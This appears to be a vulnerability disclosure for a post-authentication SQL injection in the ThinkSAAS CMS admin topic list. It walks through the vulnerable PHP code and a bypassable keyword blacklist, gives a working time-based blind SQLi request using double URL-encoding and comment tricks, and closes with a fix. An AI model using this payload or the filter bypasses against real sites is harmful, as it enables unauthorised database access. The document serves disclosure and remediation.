

Thinksaas has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

1. Intro

[of this CMS](#)

[of this Vuln](#)

2. Walkthrough

[Code Review](#)

(1) [unproper conjunction of SQL query sentences](#)

(2) [invalid filter](#)

[PoC & EXPLOIT](#)

3. Mitigations

1. Intro

of this CMS

The repo of ThinksaasS is located at <https://github.com/thinksaas/ThinkSAAS> , quite a common-used CMS.

Source code of `v3.3.8` could be downloaded at <https://www.thinksaas.cn/service/down/> , while passcode of downloading is `thinksaas9999`



of this Vuln

ThinkSAAS before 3.38 has SQL injection via the `/index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC` title parameter, allowing remote attackers to execute arbitrary SQL commands.

2. Walkthrough

Code Review

Risky lines are here =>

- <https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/app/topic/action/admin/topic.php#L42>
- <https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/thinksaas/tsApp.php#L146>

Due to unproper conjunction of SQL query sentences (1) and invalid filter (2).

(1) unproper conjunction of SQL query sentences

[app/topic/action/admin/topic.php#L42](https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/app/topic/action/admin/topic.php#L42)

```
1 <?php
2 defined('IN_TS') or die('Access Denied.');
```

3 switch(\$ts){

4 case "list":

5 ...

6 \$title = urldecode(\$_GET['title']); # 1' Notice that \$title is urldecoded

7 ...

8 if(\$title){

9 \$where = "`title` like '%\$title%'"; # 2' directly conjuncted to \$where

10 }

11

12 \$arrTopic = \$new['topic']->findAll('topic',\$where,'addtime desc',null,\$lstart.',10'); # 3' findAll() via \$where

13 ...

Let's see how `findAll()` works:

[thinksaas/tsApp.php#L146](https://github.com/thinksaas/ThinkSAAS/blob/b0361f49cb026ad33b7df6b15539bec6dadd24b0/thinksaas/tsApp.php#L146)

```
1 public function findAll($table, $conditions = null, $sort = null,
2   $fields = null, $limit = null) {
3     $where = "";
4     $fields = empty ( $fields ) ? "*" : $fields;
5     if (is_array ( $conditions )) {
6         $join = array ();
7         foreach ( $conditions as $key => $condition ) {
8             $condition = $this->escape ( $condition );
9             $join [] = "`{$key}` = {$condition}";
```

```

9         }
10        $where = "WHERE " . join ( " AND ", $join );
11    } else {
12        if (null != $conditions)
13            $where = "WHERE " . $conditions; ##### 1'      direc
tly conjuncted to $where
14    }
15    if (null != $sort) {
16        $sort = "ORDER BY {$sort}";
17    } else {
18        $sort = "";
19    }
20    $sql = "SELECT {$fields} FROM " . dbprefix . "{$table}
{$where} {$sort}";
21    if (null != $limit) ##### 2' conjuncted to $sql
22        $sql = $this->db->setlimit ( $sql, $limit );
23    return $this->db->fetch_all_assoc ( $sql ); ##### 3'      b
ingo!
24    }

```

Till now, `$where` is partly controlled by us, once injecting a single quote `'` via `$title`, while how to close this query sentence is still unknown, cause the filtering of `#` and `--`. However, the function of `urldecode()` helped us, we can craft a double-URL-encoded param, like `%25%23 >>> %23 >>> #`, (namely `%2523` stands for `#`), as it will BYPASS the filter (`#`) as follows.

So we have a vuln of SQLi. Let's see the sanitizing functions.

(2) invalid filter

This CMS has some global functions for sanitizing user-controlled params, in

`/thinksaas/tsFunction.php#2134`, as its link goes [here](#)

```

1 function tsFilter($value) {
2     $value = trim($value);
3     //定义不允许提交的SQL命令和关键字
4     $words = array();
5     $words[] = "add ";
6     $words[] = "and ";
7     $words[] = "count ";
8     $words[] = "order ";

```

```

 9  $words[] = "table ";
10  $words[] = "by ";
11  $words[] = "create ";
12  $words[] = "delete ";
13  $words[] = "drop ";
14  $words[] = "from ";
15  $words[] = "grant ";
16  $words[] = "insert ";
17  $words[] = "select ";
18  $words[] = "truncate ";
19  $words[] = "update ";
20  $words[] = "use ";
21  $words[] = "--";
22  $words[] = "#";
23  $words[] = "group_concat";
24  $words[] = "column_name";
25  $words[] = "information_schema.columns";
26  $words[] = "table_schema";
27  $words[] = "union ";
28  $words[] = "where ";
29  $words[] = "alert";
30  $value = strtolower($value);
31  //转换为小写
32  foreach ($words as $word) {
33      if (strstr($value, $word)) {
34          $value = str_replace($word, '', $value);
35      }
36  }
37
38  return $value;
39 }

```

Apart from that `foreach ($words as $word) {` cannot completely sanitize those evil words, the Blacklists itself is invalid as well. While `SELselect ECT 1` could still be used (as `SELselect ECT 1 => SELECT 1`).

Also, one is able to use `select/**/1` instead of `select 1` , in order to bypass the blackword of `select` .

As above, `select/**/1/**/from/**/(sleep(1))` could be used.

In summary, we can craft a special payload (double-URLencoded + SQL injection) to trigger SQLi vulns, of course we need login first...

PoC & EXPLOIT

- 1 GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
- 2 Host: thinksaas
- 3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
- 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- 5 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
- 6 Accept-Encoding: gzip, deflate
- 7 Connection: close
- 8 Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
- 9 Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4s4s48s80co44ww8
- 10 Upgrade-Insecure-Requests: 1
- 11

The screenshot shows a web browser's developer tools interface. The 'Request' tab is active, displaying the following details:

- Method: GET
- URL: /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
- Host: thinksaas
- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
- Accept-Encoding: gzip, deflate
- Connection: close
- Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
- Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4s4s48s80co44ww8
- Upgrade-Insecure-Requests: 1
- X-Forwarded-For: 127.0.0.1
- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1

The 'Response' tab is also active, showing the following details:

- Status: HTTP/1.1 200 OK
- Date: Thu, 03 Dec 2020 08:37:03 GMT
- Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
- X-Powered-By: PHP/5.6.9
- Expires: Thu, 19 Nov 1981 08:52:00 GMT
- Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
- Pragma: no-cache
- Connection: close
- Content-Type: text/html; charset=UTF-8
- Content-Length: 2854

The response body contains HTML code, including a meta tag for content type and a link tag for a stylesheet. A green box highlights the text '2 * 3 = 6 s' in the response body.

3. Mitigations

After `URLdecode`, param sanitizing may still be necessary, a possible demo is as follows:

```
1 if($title){
2     // $where = "`title` like '%$title%'";
3     $where = "`title` like '%". $this->escape($title).
4     "%'";
5 }
```